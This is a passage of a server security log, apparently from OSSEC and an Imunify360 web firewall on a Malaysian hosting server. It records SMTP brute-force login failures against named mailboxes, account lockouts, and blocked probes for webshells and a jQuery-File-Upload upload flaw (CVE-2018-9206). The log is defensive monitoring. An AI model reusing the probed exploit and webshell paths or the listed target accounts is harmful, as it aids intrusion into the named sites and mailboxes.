country_id: 2510769
description:
2026-01-30 19:32:20 dovecot_login authenticator failed for H=(EwPnWojc) [185.230.124.69]:51964: 535 Incorrect authentication data (set_id=kok-hoe.chin)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 41.220.3.101
country_id: 226074
description:
2026-01-30 19:32:23 dovecot_login authenticator failed for H=([41.220.3.113]) [41.220.3.101]:56767: 535 Incorrect authentication data (set_id=info@euratech.com.my)


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 185.230.124.69
country_id: 2510769
description:
2026-01-30 19:32:45 dovecot_login authenticator failed for H=(do4tId4dv0) [185.230.124.69]:52859: 535 Incorrect authentication data (set_id=kok-hoe.chin)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 185.230.124.69
country_id: 2510769
description:
Jan 30 19:32:18 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account kok-hoe.chin has been locked for the attacker IP 185.230.124.69


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 116.114.94.242
country_id: 1814991
description:
2026-01-30 19:32:46 dovecot_login authenticator failed for H=([116.114.94.242]) [116.114.94.242]:58472: 535 Incorrect authentication data (set_id=info)


plugin: modsec
rule: 77142199
name: IM360 WAF: jQuery-File-Upload - Arbitrary File Upload (CVE-2018-9206)
abuser: 87.121.84.115
country_id: 6252001
domain: usfood.com.my
description:
IM360 WAF: jQuery-File-Upload - Arbitrary File Upload (CVE-2018-9206)||RSV:7.71||T:APACHE||MVN:REQUEST_URI||MV:/admin/assets/jquery-file-upload/server/php/index.php?file=tf2rghf.jpg||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 203.170.150.178
country_id: 1605651
description:
2026-01-30 19:33:48 dovecot_login authenticator failed for H=([203.170.150.178]) [203.170.150.178]:55932: 535 Incorrect authentication data (set_id=kitty.yap)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.138
country_id: 2750405
description:
2026-01-30 19:33:09 dovecot_login authenticator failed for H=(wCiW8aE) [178.16.54.138]:63412: 535 Incorrect authentication data (set_id=daniel@mckd.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.150.135.19
country_id: 690791
description:
2026-01-30 19:33:29 dovecot_login authenticator failed for H=(19.135.150.178.triolan.net) [178.150.135.19]:29305: 535 Incorrect authentication data (set_id=kitty.yap@manforce.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 35.130.111.98
country_id: 6252001
description:
2026-01-30 19:34:00 dovecot_login authenticator failed for H=syn-035-130-111-098.biz.spectrum.com [35.130.111.98]:40434: 535 Incorrect authentication data (set_id=mail.urban.myexport)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.230.124.69
country_id: 2510769
description:
2026-01-30 19:33:07 dovecot_login authenticator failed for H=(aBPvxAu8) [185.230.124.69]:52378: 535 Incorrect authentication data (set_id=kok-hoe.chin)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 147.50.94.29
country_id: 1605651
description:
2026-01-30 19:33:45 dovecot_login authenticator failed for H=([147.50.94.29]) [147.50.94.29]:52524: 535 Incorrect authentication data (set_id=mail.urban.myexport@urban.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 49.124.155.174
country_id: 1733045
description:
2026-01-30 19:34:56 dovecot_login authenticator failed for H=([49.124.155.174]) [49.124.155.174]:33536: 535 Incorrect authentication data (set_id=ysl)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.138
country_id: 2750405
description:
2026-01-30 19:34:04 dovecot_login authenticator failed for H=(spMQbzOhs) [178.16.54.138]:54546: 535 Incorrect authentication data (set_id=contact@modern.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.230.124.69
country_id: 2510769
description:
2026-01-30 19:34:12 dovecot_login authenticator failed for H=(Gl8OR1Yz9w) [185.230.124.69]:63746: 535 Incorrect authentication data (set_id=kok-hoe.chin)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 27.123.101.146
country_id: 1269750
description:
2026-01-30 19:34:42 dovecot_login authenticator failed for H=(aes-static-217.70.22.125.airtel.in) [27.123.101.146]:39526: 535 Incorrect authentication data (set_id=ysl@ajplantations.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.138
country_id: 2750405
description:
2026-01-30 19:35:10 dovecot_login authenticator failed for H=(SlWEVjSgxV) [178.16.54.138]:62139: 535 Incorrect authentication data (set_id=daniel@mckd.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 141.98.11.82
country_id: 597427
description:
2026-01-30 19:35:19 dovecot_login authenticator failed for H=(l0fNcrf) [141.98.11.82]:61638: 535 Incorrect authentication data (set_id=evonne)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.230.124.69
country_id: 2510769
description:
2026-01-30 19:35:22 dovecot_login authenticator failed for H=(7CgMyeu) [185.230.124.69]:54234: 535 Incorrect authentication data (set_id=kok-hoe.chin)


plugin: modsec
rule: 77142199
name: IM360 WAF: jQuery-File-Upload - Arbitrary File Upload (CVE-2018-9206)
abuser: 87.121.84.30
country_id: 6252001
domain: plomalite.com
description:
IM360 WAF: jQuery-File-Upload - Arbitrary File Upload (CVE-2018-9206)||RSV:7.71||T:APACHE||MVN:REQUEST_URI||MV:/public/admin/assets/plugins/jquery-file-upload/server/php/index.php?file=tf2rghf.jpg||


plugin: modsec
rule: 77350390
name: IM360 WAF: Interaction with fake plugin
abuser: 74.248.24.238
country_id: 798544
domain: webmail.fimco.com.my
description:
IM360 WAF: Interaction with fake plugin||MV:/wp-content/plugins/pwnd/as.php||WPU:||RSV:7.71||T:APACHE||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 74.248.24.238
country_id: 798544
domain: webmail.fimco.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.71||T:APACHE||MV:/wp-admin/images/commentv.php||SC:/home2/fimco/webmail.fimco.com.my/wp-admin||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 141.98.11.82
country_id: 597427
description:
2026-01-30 19:36:26 dovecot_login authenticator failed for H=(h88Y1Y9b) [141.98.11.82]:52665: 535 Incorrect authentication data (set_id=evonne)


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.142.140
country_id: 1880251
domain: www.pspoly.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.71||T:APACHE||MV:/portfolio/img/img/img/img/img/demos/clientele.php||SC:/home2/pspolycom/public_html/portfolio||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.230.124.69
country_id: 2510769
description:
2026-01-30 19:36:02 dovecot_login authenticator failed for H=(aM3DyKe) [185.230.124.69]:49633: 535 Incorrect authentication data (set_id=kok-hoe.chin)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 185.230.124.69
country_id: 2510769
description:
Jan 30 19:36:16 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account kok-hoe.chin has been locked for the attacker IP 185.230.124.69


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.138
country_id: 2750405
description:
2026-01-30 19:36:24 dovecot_login authenticator failed for H=(5xdLuWfZo) [178.16.54.138]:64469: 535 Incorrect authentication data (set_id=daniel@mckd.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 218.21.243.58
country_id: 1814991
description:
2026-01-30 19:36:41 dovecot_login authenticator failed for H=([218.21.243.58]) [218.21.243.58]:35198: 535 Incorrect authentication data (set_id=info@ajplantations.com.my)


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.157.111
country_id: 1880251
domain: www.indfinitydesign.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.71||T:APACHE||MV:/images/video.php||SC:/home/indfinitydesign/public_html/images/video.php||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.145.116
country_id: 1880251
domain: www.pspoly.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.71||T:APACHE||MV:/portfolio/img/img/img/img/demos/product.php||SC:/home2/pspolycom/public_html/portfolio||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 183.98.68.199
country_id: 1835841
description:
2026-01-30 19:37:03 dovecot_login authenticator failed for H=([183.98.68.199]) [183.98.68.199]:46044: 535 Incorrect authentication data (set_id=admin@manforce.net)


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 178.16.54.138
country_id: 2750405
description:
2026-01-30 19:37:09 dovecot_login authenticator failed for H=(1wy1ZzFjt) [178.16.54.138]:49894: 535 Incorrect authentication data (set_id=contact@modern.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 102.53.15.17
country_id: 2542007
description:
2026-01-30 19:37:20 dovecot_login authenticator failed for H=([102.53.15.17]) [102.53.15.17]:49901: 535 Incorrect authentication data (set_id=admin@stonewld.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 42.200.60.186
country_id: 1819730
description:
2026-01-30 19:38:01 dovecot_login authenticator failed for H=42-200-60-186.static.imsbiz.com [42.200.60.186]:65411: 535 Incorrect authentication data (set_id=kitty.yap@manforce.net)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 185.230.124.69
country_id: 2510769
description:
Jan 30 19:37:05 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account kok-hoe.chin has been locked for the attacker IP 185.230.124.69


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.230.124.69
country_id: 2510769
description:
2026-01-30 19:37:07 dovecot_login authenticator failed for H=(Lafq5T) [185.230.124.69]:54466: 535 Incorrect authentication data (set_id=kok-hoe.chin)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 141.98.11.82
country_id: 597427
description:
2026-01-30 19:37:09 dovecot_login authenticator failed for H=(CwTJ7XAV9q) [141.98.11.82]:50196: 535 Incorrect authentication data (set_id=evonne)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 220.80.223.144
country_id: 1835841
description:
2026-01-30 19:37:14 dovecot_login authenticator failed for H=([220.80.223.144]) [220.80.223.144]:56954: 535 Incorrect authentication data (set_id=admin)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.138
country_id: 2750405
description:
2026-01-30 19:37:26 dovecot_login authenticator failed for H=(OYIsV5mOW) [178.16.54.138]:49208: 535 Incorrect authentication data (set_id=daniel@mckd.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 88.215.1.201
country_id: 2635167
description:
2026-01-30 19:38:13 dovecot_login authenticator failed for H=([88.215.1.201]) [88.215.1.201]:49185: 535 Incorrect authentication data (set_id=kitty.yap)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 122.187.229.119
country_id: 1269750
description:
2026-01-30 19:38:18 dovecot_login authenticator failed for H=(nsg-corporate-119.229.187.122.airtel.in) [122.187.229.119]:45356: 535 Incorrect authentication data (set_id=www.facebook.comrnd@plomalite.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 171.244.60.35
country_id: 1562822
description:
2026-01-30 19:38:58 dovecot_login authenticator failed for H=([171.244.60.35]) [171.244.60.35]:32976: 535 Incorrect authentication data (set_id=zainuddin@astlog.com.my)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 185.230.124.69
country_id: 2510769
description:
Jan 30 19:38:02 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account kok-hoe.chin has been locked for the attacker IP 185.230.124.69


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.230.124.69
country_id: 2510769
description:
2026-01-30 19:38:04 dovecot_login authenticator failed for H=(MW4BGVFRpI) [185.230.124.69]:64114: 535 Incorrect authentication data (set_id=kok-hoe.chin)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 141.98.11.82
country_id: 597427
description:
2026-01-30 19:38:16 dovecot_login authenticator failed for H=(Vc6JR6Vtdm) [141.98.11.82]:57668: 535 Incorrect authentication data (set_id=evonne)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 113.170.211.143
country_id: 1562822
domain: mssa.org.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/mssa.org.my/product-detail.php?id=735818 HTTP/1.1||RSV:7.71||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.138
country_id: 2750405
description:
2026-01-30 19:38:17 dovecot_login authenticator failed for H=(tXa8mE) [178.16.54.138]:59193: 535 Incorrect authentication data (set_id=contact@modern.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 101.13.5.34
country_id: 1668284
description:
2026-01-30 19:38:26 dovecot_login authenticator failed for H=([101.13.5.34]) [101.13.5.34]:54474: 535 Incorrect authentication data (set_id=www.facebook.comrnd)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 141.98.11.82
country_id: 597427
description:
2026-01-30 19:39:40 dovecot_login authenticator failed for H=(cK5tazf) [141.98.11.82]:51970: 535 Incorrect authentication data (set_id=evonne)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 179.189.85.66
country_id: 3469034
description:
2026-01-30 19:39:52 dovecot_login authenticator failed for H=179-189-85-66.goldnettelecom.com.br [179.189.85.66]:39940: 535 Incorrect authentication data (set_id=marketing)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 124.134.27.159
country_id: 1814991
description:
2026-01-30 19:39:03 dovecot_login authenticator failed for H=([124.134.27.159]) [124.134.27.159]:15946: 535 Incorrect authentication data (set_id=jobstore.comchew@nexuscollection.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 125.137.66.82
country_id: 1835841
description:
2026-01-30 19:39:07 dovecot_login authenticator failed for H=([125.137.66.82]) [125.137.66.82]:3159: 535 Incorrect authentication data (set_id=zainuddin)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 182.95.230.158
country_id: 1269750
description:
2026-01-30 19:39:23 dovecot_login authenticator failed for H=(dsl-del-065.26.246.61.airtelbroadband.in) [182.95.230.158]:41034: 535 Incorrect authentication data (set_id=jobstore.comchew)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 122.187.230.13
country_id: 1269750
description:
2026-01-30 19:39:47 dovecot_login authenticator failed for H=(nsg-corporate-13.230.187.122.airtel.in) [122.187.230.13]:60537: 535 Incorrect authentication data (set_id=support@dsc-expat.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.138
country_id: 2750405
description:
2026-01-30 19:39:17 dovecot_login authenticator failed for H=(G5dnZurSc) [178.16.54.138]:50420: 535 Incorrect authentication data (set_id=daniel@mckd.com.my)


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.142.210
country_id: 1880251
domain: www.pspoly.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.71||T:APACHE||MV:/portfolio/img/img/img/img/img/img/img/img/img/img/img/new-development.php||SC:/home2/pspolycom/public_html/portfolio||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 112.186.241.102
country_id: 1835841
description:
2026-01-30 19:39:44 dovecot_login authenticator failed for H=([112.186.241.102]) [112.186.241.102]:54121: 535 Incorrect authentication data (set_id=mail.urban.myexport@urban.my)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 185.230.124.69
country_id: 2510769
description:
Jan 30 19:39:24 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account kok-hoe.chin has been locked for the attacker IP 185.230.124.69


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 175.206.113.91
country_id: 1835841
description:
2026-01-30 19:39:30 dovecot_login authenticator failed for H=([175.206.113.91]) [175.206.113.91]:33110: 535 Incorrect authentication data (set_id=admin@dsc-expat.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.230.124.69
country_id: 2510769
description:
2026-01-30 19:39:26 dovecot_login authenticator failed for H=(hZcYapStl2) [185.230.124.69]:62606: 535 Incorrect authentication data (set_id=kok-hoe.chin)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 27.24.141.119
country_id: 1814991
description:
2026-01-30 19:39:32 dovecot_login authenticator failed for H=([27.24.141.119]) [27.24.141.119]:51734: 535 Incorrect authentication data (set_id=marketing@smartcable.com.my)


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 45.144.212.50
country_id: 690791
description:
2026-01-30 19:40:34 H=([45.144.212.50]) [45.144.212.50]:58662 F=<zuleyha@savalanshipping.com> rejected RCPT <celine@ktlog.com.my>: SPF: 45.144.212.50 is not allowed to send mail from savalanshipping.com


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.136.174
country_id: 1880251
domain: sutsb.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.71||T:APACHE||MV:/wp-content/images/cdn-cgi/l/about.php||SC:/home/sutsbcom/public_html/wp-content/images||


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 185.230.124.69
country_id: 2510769
description:
Jan 30 19:40:14 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account kok-hoe.chin has been locked for the attacker IP 185.230.124.69


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 222.211.244.232
country_id: 1814991
description:
2026-01-30 19:40:15 dovecot_login authenticator failed for H=([61.139.80.213]) [222.211.244.232]:62818: 535 Incorrect authentication data (set_id=mail.urban.myexport)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.230.124.69
country_id: 2510769
description:
2026-01-30 19:40:16 dovecot_login authenticator failed for H=(z1x10PuvS) [185.230.124.69]:60195: 535 Incorrect authentication data (set_id=kok-hoe.chin)


plugin: modsec
rule: 77350457
name: IM360 WAF: Bad file extension
abuser: 74.7.227.52
country_id: 6252001
domain: task.visoft.com.my
description:
IM360 WAF: Bad file extension||RSV:7.71||T:APACHE||MVN:REQUEST_FILENAME||MV:/tests/vendor/symfony/finder/Tests/Fixtures/A/B/ab.dat||User:visoftcom||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.138
country_id: 2750405
description:
2026-01-30 19:40:20 dovecot_login authenticator failed for H=(lIckoIXYJ) [178.16.54.138]:51084: 535 Incorrect authentication data (set_id=daniel@mckd.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 141.98.11.82
country_id: 597427
description:
2026-01-30 19:40:33 dovecot_login authenticator failed for H=(CcR1gi7) [141.98.11.82]:59809: 535 Incorrect authentication data (set_id=evonne)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.138
country_id: 2750405
description:
2026-01-30 19:41:11 dovecot_login authenticator failed for H=(yY5n1r) [178.16.54.138]:60226: 535 Incorrect authentication data (set_id=contact@modern.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 141.98.11.82
country_id: 597427
description:
2026-01-30 19:41:40 dovecot_login authenticator failed for H=(houtdM) [141.98.11.82]:55780: 535 Incorrect authentication data (set_id=evonne)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.230.124.69
country_id: 2510769
description:
2026-01-30 19:41:05 dovecot_login authenticator failed for H=(NTvRUJs) [185.230.124.69]:60135: 535 Incorrect authentication data (set_id=kok-hoe.chin)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 122.186.174.35
country_id: 1269750
description:
2026-01-30 19:41:50 dovecot_login authenticator failed for H=(nsg-corporate-35.174.186.122.airtel.in) [122.186.174.35]:34592: 535 Incorrect authentication data (set_id=admin@manforce.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 111.61.176.244
country_id: 1814991
description:
2026-01-30 19:42:51 dovecot_login authenticator failed for H=([111.61.176.244]) [111.61.176.244]:65440: 535 Incorrect authentication data (set_id=admin)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.230.124.69
country_id: 2510769
description:
2026-01-30 19:42:16 dovecot_login authenticator failed for H=(RSdGNHiRsw) [185.230.124.69]:53165: 535 Incorrect authentication data (set_id=kok-hoe.chin)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.138
country_id: 2750405
description:
2026-01-30 19:42:19 dovecot_login authenticator failed for H=(G49ImWrfSl) [178.16.54.138]:63763: 535 Incorrect authentication data (set_id=contact@modern.com.my)


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 178.16.54.138
country_id: 2750405
description:
2026-01-30 19:42:02 dovecot_login authenticator failed for H=(ujzCcY) [178.16.54.138]:53897: 535 Incorrect authentication data (set_id=daniel@mckd.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 141.98.11.82
country_id: 597427
description:
2026-01-30 19:42:25 dovecot_login authenticator failed for H=(Pr6REYaOy) [141.98.11.82]:58486: 535 Incorrect authentication data (set_id=evonne)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 103.55.89.5
country_id: 1269750
description:
2026-01-30 19:42:13 dovecot_login authenticator failed for H=([103.55.89.5]) [103.55.89.5]:54104: 535 Incorrect authentication data (set_id=admin)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 64.72.74.162
country_id: 6252001
description:
2026-01-30 19:42:17 dovecot_login authenticator failed for H=([144.121.245.65]) [64.72.74.162]:51960: 535 Incorrect authentication data (set_id=admin@ajplantations.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 182.66.214.34
country_id: 1269750
description:
2026-01-30 19:42:41 dovecot_login authenticator failed for H=(nsg-corporate-78.223.187.122.airtel.in) [182.66.214.34]:44710: 535 Incorrect authentication data (set_id=admin)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.138
country_id: 2750405
description:
2026-01-30 19:43:12 dovecot_login authenticator failed for H=(EbGqZIC) [178.16.54.138]:63309: 535 Incorrect authentication data (set_id=contact@modern.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 141.98.11.82
country_id: 597427
description:
2026-01-30 19:43:12 dovecot_login authenticator failed for H=(hryFvp7) [141.98.11.82]:60196: 535 Incorrect authentication data (set_id=evonne)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.230.124.69
country_id: 2510769
description:
2026-01-30 19:43:03 dovecot_login authenticator failed for H=(czSvX2td) [185.230.124.69]:60073: 535 Incorrect authentication data (set_id=kok-hoe.chin)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 94.206.93.90
country_id: 290557
description:
2026-01-30 19:43:08 dovecot_login authenticator failed for H=([94.206.93.90]) [94.206.93.90]:47526: 535 Incorrect authentication data (set_id=admin@mkmetal.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 122.186.174.35
country_id: 1269750
description:
2026-01-30 19:43:20 dovecot_login authenticator failed for H=(nsg-corporate-35.174.186.122.airtel.in) [122.186.174.35]:51820: 535 Incorrect authentication data (set_id=admin)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 141.98.11.82
country_id: 597427
description:
2026-01-30 19:44:18 dovecot_login authenticator failed for H=(3occ45) [141.98.11.82]:63967: 535 Incorrect authentication data (set_id=evonne)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 182.95.230.142
country_id: 1269750
description:
2026-01-30 19:44:49 dovecot_login authenticator failed for H=([182.79.202.89]) [182.95.230.142]:41126: 535 Incorrect authentication data (set_id=marketing)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 185.230.124.69
country_id: 2510769
description:
Jan 30 19:44:58 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account kok-hoe.chin has been locked for the attacker IP 185.230.124.69


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.230.124.69
country_id: 2510769
description:
2026-01-30 19:44:12 dovecot_login authenticator failed for H=(4IWHGWPrA) [185.230.124.69]:55577: 535 Incorrect authentication data (set_id=kok-hoe.chin)


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 178.16.54.138
country_id: 2750405
description:
2026-01-30 19:44:50 dovecot_login authenticator failed for H=(8zYEjg) [178.16.54.138]:54604: 535 Incorrect authentication data (set_id=contact@modern.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.138
country_id: 2750405
description:
2026-01-30 19:44:01 dovecot_login authenticator failed for H=(0TE9ucHu) [178.16.54.138]:62309: 535 Incorrect authentication data (set_id=contact@modern.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 111.70.23.248
country_id: 1668284
description:
2026-01-30 19:44:34 dovecot_login authenticator failed for H=111-70-23-248.emome-ip.hinet.net [111.70.23.248]:51053: 535 Incorrect authentication data (set_id=marketing@smartcable.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.138
country_id: 2750405
description:
2026-01-30 19:45:09 dovecot_login authenticator failed for H=(hnVvd9) [178.16.54.138]:52099: 535 Incorrect authentication data (set_id=enquiry@nexuscollection.com)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 185.230.124.69
country_id: 2510769
description:
Jan 30 19:45:28 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account kok-hoe.chin has been locked for the attacker IP 185.230.124.69


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.230.124.69
country_id: 2510769
description:
2026-01-30 19:45:30 dovecot_login authenticator failed for H=(18DEf8HXQ0) [185.230.124.69]:54941: 535 Incorrect authentication data (set_id=kok-hoe.chin)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 222.255.104.150
country_id: 1562822
domain: mssa.org.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/mssa.org.my/facilities.php HTTP/1.1||RSV:7.71||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 122.187.235.148
country_id: 1269750
description:
2026-01-30 19:45:19 dovecot_login authenticator failed for H=(nsg-corporate-148.235.187.122.airtel.in) [122.187.235.148]:39133: 535 Incorrect authentication data (set_id=mail.urban.myexport@urban.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 141.98.11.82
country_id: 597427
description:
2026-01-30 19:45:23 dovecot_login authenticator failed for H=(gX6zATRLaP) [141.98.11.82]:56604: 535 Incorrect authentication data (set_id=evonne@kendek.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 125.61.48.234
country_id: 1835841
description:
2026-01-30 19:45:34 dovecot_login authenticator failed for H=([125.61.48.234]) [125.61.48.234]:43933: 535 Incorrect authentication data (set_id=mail.urban.myexport)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 14.187.21.204
country_id: 1562822
domain: mssa.org.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/mssa.org.my/product-detail.php?id=381667 HTTP/1.1||RSV:7.71||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.138
country_id: 2750405
description:
2026-01-30 19:46:28 dovecot_login authenticator failed for H=(vjaDK2qh) [178.16.54.138]:64516: 535 Incorrect authentication data (set_id=plenipotentiaries@col.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 141.98.11.82
country_id: 597427
description:
2026-01-30 19:46:27 dovecot_login authenticator failed for H=(KOFoplB8) [141.98.11.82]:52216: 535 Incorrect authentication data (set_id=evonne@kendek.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 141.98.11.82
country_id: 597427
description:
2026-01-30 19:47:12 dovecot_login authenticator failed for H=(Rki2Oc) [141.98.11.82]:56317: 535 Incorrect authentication data (set_id=evonne@kendek.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 122.179.134.120
country_id: 1269750
description:
2026-01-30 19:47:31 dovecot_login authenticator failed for H=(abts-mum-static-120.134.179.122.airtelbroadband.in) [122.179.134.120]:38290: 535 Incorrect authentication data (set_id=mail.urban.myexport@urban.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.138
country_id: 2750405
description:
2026-01-30 19:47:18 dovecot_login authenticator failed for H=(DXJREN2k) [178.16.54.138]:53896: 535 Incorrect authentication data (set_id=enquiry@nexuscollection.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 122.184.120.98
country_id: 1269750
description:
2026-01-30 19:47:59 dovecot_login authenticator failed for H=([122.184.120.98]) [122.184.120.98]:39450: 535 Incorrect authentication data (set_id=mail.urban.myexport)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 141.98.11.82
country_id: 597427
description:
